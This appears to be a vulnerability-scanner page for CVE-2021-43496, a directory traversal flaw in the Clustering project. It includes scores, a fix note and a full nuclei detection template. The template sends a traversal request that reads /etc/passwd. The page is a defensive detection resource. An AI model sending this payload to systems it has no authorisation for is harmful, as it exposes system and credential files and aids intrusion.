Clustering Local File Inclusion

highseverity

7.5CVSS score

15.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

Impact

This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/img/../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-43496 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-43496

info:
  name: Clustering Local File Inclusion
  author: Evan Rubinstein
  severity: high
  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/varun-suresh/Clustering/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/apif-review/APIF_tool_2024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43496
    cwe-id: CWE-22
    epss-score: 0.15928
    epss-percentile: 0.96923
    cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: clustering_project
    product: clustering
  tags: cve2021,cve,lfi,clustering,clustering_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img/../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from